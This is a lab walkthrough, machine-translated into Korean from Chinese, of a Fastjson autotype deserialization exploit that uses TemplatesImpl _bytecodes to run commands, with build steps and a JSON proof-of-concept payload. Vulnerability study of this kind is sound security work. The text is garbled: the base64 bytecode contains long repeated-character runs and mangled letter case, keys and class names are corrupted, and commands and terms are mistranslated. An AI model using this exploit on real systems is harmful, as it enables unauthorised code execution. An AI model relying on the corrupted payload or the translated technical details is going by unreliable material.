제목 : Fastjson Desserialization 임의 명령 실행 취약성

fastjson 反序列化任意命令执行漏洞​

漏洞原理​

http://xxlegend.com/2017/04/29/title-%20fastjson%20%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5% BA%8F%E5%88%97%E5%8C%96POC%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
JSON을 구문 분석하는 과정에서 FastJSON은 Autotype의 사용을 지원하여 특정 클래스를 인스턴스화하고 JSON을 통해 속성 값을 채 웁니다. jdk의 자체 클래스 com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl에는 개인 property_bytecodes가 있으며 일부 방법은이 값에 포함 된 Java Bytecode를 실행합니다.
따라서 TemplatesImpl의 _bytecodes 속성을 사용하려면 임의의 명령을 실행하려면 몇 가지 조건이 있습니다.
대상 웹 사이트는 Fastjson 라이브러리를 사용하여 JSON을 구문 분석합니다.
feature.supportnonpublicfield는 구문 분석 중에 설정되며, 그렇지 않으면 들어오는 개인 속성을 지원하지 않습니다.
Templatesimpl 클래스는 대상이 사용하는 JDK에 존재합니다.
물론 TemplatesImpl이 필요하지 않은 다른 방법이 있다는 것은 배제되지 않습니다.

漏洞复现​

이 환경의 디렉토리 구조는 다음과 같습니다.
SRC이 프로젝트 소스 코드
메인/Java Java 클래스
indexfilter.java 웹 소스 코드
poc.java poc 소스 코드
pom.xml 구성 파일, Maven을 사용 하여이 프로젝트를 전쟁 패키지에 직접 컴파일 할 수 있습니다.
exploit.php는 컴파일 된 POC 바이트 코드를 읽고 Base64로 변환합니다.
FASTJSON-1.0. 포장 된 웹 환경은 Tomcat 아래에 직접 배치하여 실행할 수 있습니다.

生成字节码​

첫 번째 단계는 Java 클래스를 작성 하고이 클래스에서 명령을 실행하는 것입니다. 그런 다음 클래스를 컴파일하고 .class 파일을 가져오고 바이트 코드를 가져옵니다.
poc.java에서 실행하려는 명령을 수정 한 다음 Maven을 사용 하여이 디렉토리 에서이 프로젝트를 컴파일하여 대상/클래스/poc.class를 생성하십시오.
1
MVN 컴파일
Maven이 설치되지 않은 경우 압축 패키지 Fastjson-1.0.war에서 Web-Inf/Classe/Poc.class를 사용할 수도 있습니다. 내가 컴파일 한이 클래스 파일은 exploit.php에서 읽습니다.

构造POC​

.class 파일을 생성 한 후, Base64 파일의 내용을 인코딩하고 다음과 같이 _bytecodes의 값으로 JSON에 배치합니다.
1
{ '@type':'com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl', '_ bytecodes': ['yv66vgaaadqanaoabwalcgamacgkacyakqcak Goabqalbwaraqagpgluaxq+aqadkclwaqaeqaqaeq29kzqead0xpbmvodw1izxjuywjszqeaekxvy2fsvmfyawfibgvuywjszqeabhroaxmbaavmug9joweackkkv4y2vwdglggggggggggggggggggggggggggggggggggggggggggggggggggggggggbbbbbbbbbbbbbbbbbbbbbbb AAL0CMFUC2ZVCM0BAKYOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRLCM5HBC9 4C2X0YY9ET007TGNVBS9ZDW4VB3JNL2FWYWNOZS94BWWVAW550ZXJUYWWVZHRTL0RUTUF 4AXNJDGVYYXRVCJTMY29TL3N1BI9VCMCVYXBHY2HLL3HTBC9PBNRLCM5HBC9ZZXJPYWX pemvyl1nlcmmlhbgl6yxrpb25iyw5kbgvyoylwaqaizg9jdw1lbnqbac1my29tl3n1bi 9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAHPDGVYXRVCGEANUXJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL2R0BS9EVEGLZ1BEGLZSXRLZSXRLZSXSXSXTXSXSXSXSXTXSXSXSXSXSXSXTXSXGLZ 3i7aqahagfuzgxlcgeaquxjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl3nlcmmlhbgl6zxivu2vyawfsaxphdglvbkhbhbmrszxi7aqbykexjb2c3vul29Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9Y9I9HCGFJ aguvegfsyw4vaw50zxjuywwwwvehnsdgmvre9no1tmy29tl3nbi9vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzpywxpemvyl1nlcmmlhbgl6yxrpb25kbgvyoylwaqulwaize gbmrszxjzaqbcw0xjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl3nlcmmlhbgl6zxivu2vyawfsaxphdgggggggggglvkhbmrszxi7bwataqaebwppbgphbbgphdpphdmvgpuzy 9TDHJPBMC7KVYBAARHCMDZAQATW0XQYXZHL2XHBMCVU3RYAW5NOWEAAXQHAC4BAAPTB3VYY2VGAWXLAQAIUG9JLMMPHAMAGACQCALWWAMAXAQAHB3BLBICBWBGBGBGBGBGBGBGBGBGBGB 25ZL0NHBGN1BGF0B3IUYXBWDAAYADMBAANQB2MBAEBJB20VC3VUL29Yzy9HCGFJAGUVEGSYW4VAW50ZXJUYWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWHFJDFRYYW5ZBGVOTATAMF2 ys9pby9jt0v4y2vwdglvbbgeaownvbs9zdw4vb3jnl2fwywnozss94ywxhbi9pbnrlcm5hbc94c2x0yy9ucmfuc2xldev4y2vwdglggeae2phdmmmmevbbgfugy9fegnlchrpp qyxzhl2xhbmcvunvudgltzqeacmdlddfj1bnrpbwubabuokuxqyxzhl2xhbmcvunvudgltztsbaarlegvjaqankankyxzhl2xhbmcvu3ryaw5noylmamf22ssyw5nl1byb2nlc3 m7aceabqahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeae aababeegabaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaamaaaakaaaaaqanaa4aaaaaaaaaeewau AAAAAAAABABUAFGACAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAFGACAAAAAAAAQAXABGAABEAGQACAAOAAAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwA gtleaaaaacaaaaaaaaaaaaaaaaaaaaagagggamaaaaafgacaaaaaaaaaaaaiaiaiaiaiqaoaaaeadwaaaqaaqaaaaaaiiwaaaaaaaaaaaaaja==}, '_ outputProperties': {},'_ version':'1.0 ','allendProtocols':'all '}
컴파일 된 .class 파일을 사용하려면 php exploit.php를 직접 실행하여 POC를 얻을 수 있습니다.
20190609163619.png-water_print

JDK1.8로 컴파일 된 경우 실행 된 명령은 Touch /TMP /Success이므로 Windows에서 실행이 실패합니다. Windows 사용자는 poc.java를 스스로 수정하고 자신의 POC를 생성하십시오.

漏洞利用​

대상은 웹 응용 프로그램이며 액세스는 "Hello World"를 반환합니다. 일반적으로 JSON은 게시되며 대상은 JSON 객체에서 이름과 나이를 추출하여 하나의 문장으로 연결하여 반환합니다.
20190609163632.png-water_print

2 단계에서 얻은 POC를 보내고 명령을 성공적으로 실행하십시오.
20190609163643.png-water_print

20190609163653.png-water_print

위 그림과 같이 /tmp /success 파일이 성공적으로 생성되었습니다.
 
뒤로
상단